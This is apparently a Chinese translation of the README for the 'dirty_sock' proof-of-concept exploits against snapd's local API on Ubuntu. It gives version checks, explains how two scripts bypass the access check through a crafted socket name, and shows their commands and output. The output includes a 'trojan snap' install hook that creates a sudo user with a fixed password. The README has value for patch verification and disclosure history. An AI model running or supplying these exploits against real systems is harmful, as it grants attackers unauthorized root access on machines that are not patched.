2019年1月,当前版本的 Ubuntu Linux 被发现因 snapd API 中的一个漏洞而存在本地权限提升风险。本仓库包含原始漏洞利用 POC,仅供研究和教育使用。有关漏洞及其利用的详细说明,请参阅此处博客文章。
Ubuntu 默认附带 snapd,但任何安装此软件包的发行版都可能被利用。你可以轻松检查系统是否易受攻击。运行以下命令。如果 snapd 版本为 2.37.1 或更新,则你是安全的。
$ snap version
...
snapd 2.37.1
...
请注意,某些系统运行此命令时返回的是 snapd 的发行版软件包版本,而非上方示例中所示的上游版本。如果你的 snapd 版本末尾附带了类似 Ubuntu 版本号的引用(例如 2.34.2ubuntu0.1 或 2.35.5+18.10.1),请查阅此链接以确定你是否运行了已修补的版本。
此漏洞利用绕过访问控制检查,使用本地 snapd 服务的受限 API 函数(POST /v2/create-user)。该函数向 Ubuntu SSO 查询提供的电子邮件地址的用户名和公钥,然后基于这些值创建本地用户。
成功利用此版本需要出站互联网连接以及可通过 localhost 访问的 SSH 服务。
要利用,首先在Ubuntu SSO创建一个账户。确认后,编辑你的个人资料并上传 SSH 公钥。然后按如下方式运行漏洞利用(使用与你上传的公钥对应的 SSH 私钥):
python3 ./dirty_sockv1.py -u "[email protected]" -k "id_rsa"
[+] Slipped dirty sock on random socket file: /tmp/ktgolhtvdk;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Sending payload...
[+] Success! Enjoy your new account with sudo rights!
[Script will automatically ssh to localhost with the SSH key here]
此漏洞利用绕过访问控制检查,使用本地 snapd 服务的受限 API 函数(POST /v2/snaps)。该函数允许安装任意 snap。处于“devmode”模式的 snap 会绕过沙箱,并可能包含一个在安装时以 root 上下文运行的“安装钩子”。
dirty_sockv2 利用该漏洞安装一个空的“devmode”snap,其中包含一个向本地系统添加新用户的钩子。该用户将拥有执行 sudo 命令的权限。
与版本一不同,此版本不需要 SSH 服务运行。它甚至可以在没有互联网连接的新版 Ubuntu 上运行,因此对变化具有弹性,并在受限环境中有效。
明确说明:此版本的漏洞利用并非隐藏在一个恶意 snap 中。相反,它使用一个恶意 snap 作为传递用户创建载荷的机制。这是由于与版本 1 相同的 uid=0 漏洞导致的。
此漏洞利用在安装了 snapd 但因不兼容的 Linux shell 语法而不支持“create-user”API 的非 Ubuntu 系统上也应有效。
某些较旧的 Ubuntu 系统(如 16.04)可能未安装侧载所需的 snapd 组件。如果是这种情况,此版本的漏洞利用可能会触发安装这些依赖项。在安装过程中,snapd 可能会自行升级到不易受攻击的版本。测试表明,在此情况下漏洞利用仍然成功。更多详情请参见故障排除部分。
要利用,只需在易受攻击的系统上运行该脚本,无需任何参数。
python3 ./dirty_sockv2.py
[+] Slipped dirty sock on random socket file: /tmp/gytwczalgx;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...
********************
Success! You can now `su` to the following account and use sudo:
username: dirty_sock
password: dirty_sock
********************
如果使用版本二且漏洞利用完成但未看到新账户,这可能是由于后台 snap 更新所致。你可以通过执行 snap changes 然后 snap change # 来查看这些更新,引用显示 dirty_sock snap 安装的行。最终,这些更新应会完成,你的账户即可使用。
版本一似乎是最简单且最快的,如果你的环境支持(SSH 服务运行且可从 localhost 访问)。
不易受攻击的系统会输出类似以下内容:
[!] System may not be vulnerable, here is the API reply:
HTTP/1.1 401 Unauthorized
Content-Type: application/json
Date: Mon, 18 Feb 2019 07:07:12 GMT
Content-Length: 119
{"type":"error","status-code":401,"status":"Unauthorized",
"result":{"message":"access denied","kind":"login-required"}}
如果遇到任何异常,请提交 issue。
该问题通过 Ubuntu 的 bug 跟踪器直接报告给了 snapd 团队。你可以点击此处阅读完整讨论。
Canonical 对此问题的响应令我印象深刻。该团队非常棒,整体体验让我作为 Ubuntu 用户感觉非常好。
公开公告链接:
注意:我仅在 GitHub 仓库、我的博客 initblog.com 以及我的团队博客 shenaniganslabs.io 上发布信息。任何冒充官方来源的网站均不受我控制,对此我深表遗憾。